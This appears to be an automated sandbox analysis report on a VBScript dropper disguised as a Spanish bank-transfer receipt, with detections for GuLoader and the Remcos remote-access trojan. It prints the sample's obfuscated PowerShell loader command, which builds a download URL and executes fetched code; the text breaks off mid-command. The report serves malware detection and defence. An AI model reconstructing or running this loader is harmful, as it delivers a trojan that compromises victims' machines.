Edit tour
Windows
Analysis Report
Recibo de transferencia#U00b7pdf.vbs
Overview
General Information
| Sample name: | Recibo de transferencia#U00b7pdf.vbsrenamed because original name is a hash value |
| Original sample name: | Recibo de transferenciapdf.vbs |
| Analysis ID: | 1523154 |
| MD5: | a510a741cf02891a5ae7268b7b92b9b8 |
| SHA1: | 2740b1d3da34dab2396388ebb2c97763a3164ce5 |
| SHA256: | b1475086f2f81e2aca88d89cb0620f04e8d0b0a20b956821a0d2efe1b65ce060 |
| Tags: | vbsuser-abuse_ch |
| Infos: |   |
 | |
Detection
Remcos, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Sample is not signed and drops a device driver
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates driver files
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Msiexec Initiated Connection
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 7512 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Recib o de trans ferencia#U 00b7pdf.vb s" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 7592 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "<#Panglos sian Fakto tumerne ud frelserne #>;$Espes= 'Nednormer ingen83';< #Pirat Mis judgment R etroaktiv #>;$Buedes =$host.Pri vateData;I f ($Buedes ) {$Burund ieres++;}f unction Ba lladised($ Alfedronni ngs47){$Ud frier=$Sto rcirklerne s+$Alfedro nnings47.L ength-$Bur undieres;f or( $Halte red=5;$Hal tered -lt $Udfrier;$ Haltered+= 6){$Spareb ssernes+=$ Alfedronni ngs47[$Hal tered];}$S parebssern es;}functi on Revanch istens($Ne dlggende){ &($Rhabdi tis) ($Ned lggende);} $Eral219=B alladised 'StrstMDi sooUn erz SpliiDatao lolieflN.s tlaTyp.s/S past5Sved. .Boeth0 ak an pil( T iphW Gasti Advokn Dis pd AmagoPu runwArch.s Eksp Bih NZygotTSeq ue soloe1 Chi.0Varef .Ragas0Cra dl;Tienn M urinWBulle iCo.tenAna bo6at ri4E moll;witch MortexPas ti6Unsur4S il o;Skole PolarrVan hevFrede:S em c1Telep 2Utill1 Up fl.stron0r evel)Lauda MaillGBee aeBanklcS callk Paxi oFarve/ Fo is2Mul i0E end1Eryop 0Misad0Int ra1Jordb0f .ede1.rers IndheFsad leiG overS .arpetribu f .unjoDr ylxSolda/ Reo,1Ve ne 2Subfe1Bac t,.Resig0 Ret ';$Qua gmirier=Ba lladised ' Vagau Sma rsU dereLe tlbrPrefi- harveAHelv GD optE.n indNA,rsdT Medal ';$T illodont=B alladised 'U svehI.s kat eeut . tjnpTndess pos t:Tsun ,/Launc/Ov erfdForplr L rriiM,ci gvAnisoeTa bul.Waltog VrdioNons toTrl ogre apolArchae Cinde.G,ar ycAfgr,o a nim tave/A djuru Vift cKoebu?Mod ,aeUnderxB acktpGavek oTetrar er sotU,der=A rbejdNonpr oByde wG a ntn Fratl Pagio Pe p a ForpdAkk il&LytteiA vinddSka t =svire1Oto cem refaVB eh nv Rese sUnf.mI Di plVVanteWS nust7Udsig - S ovx Si de9Ho orDD atabjJapan CAdonio Of fe7OnicouD raabv F ge 1 dioxZApr ilODikkeoO dou Z Memp tSrtjeTDam ilNEpi azU ngdoVStali EFingeFPis toBPoppi5a ntem ';$Se mimanageri al=Balladi sed 'Jal u >Skvat ';$ Rhabditis= Balladised 'R,undiRe s,aEUns ax Amety ';$S combroidea ='Kohave'; $Hypersens uously='\M argenindst illing.Sys ';Revanchi stens (Bal ladised 'R ockl$Blubb g HooclRe. isoSnitcbS rumaUnder lScrat:un exAtonesrS t rbv hum eDiskpmSla gfsHedess olsiPertig Kursetutil g=Inter$Re annePer,sn ,evivAuto r:Br.araMe dmepSkibsp Opf.ldTetr a OvultId ealaSlett+ nges$ ,er vHMinilyAi racpLeveae Kil erKbma nstid,eeSh opfnPrav s Te rauUdv. koOp rauTe wtasHom nl bundfy,abs l ');Revan chistens ( Balladised 'Lenna$Se lvbgravetl PrepoSemi dbFleksawa rmhlElkos: Ov rcO Lay evHy ereDr iftrTo oll Sett,sDema gsT kpleJo rd.t ealls .lfe=Buch s$ConosTRo manistvkol NickllFejl ,omidsodKl yngo Engon Suba t lmu .TavlesFri e.psuperl TrafiComed tPenda( or is$ FlugS Je ne Phys mFis eiI,t ermBeci aS krifn Wors aBlo.mgFor nyeIntr.rI drtsi Ma,t a Ansal sv bc) Filn ' );Revanchi stens (Bal ladised 'F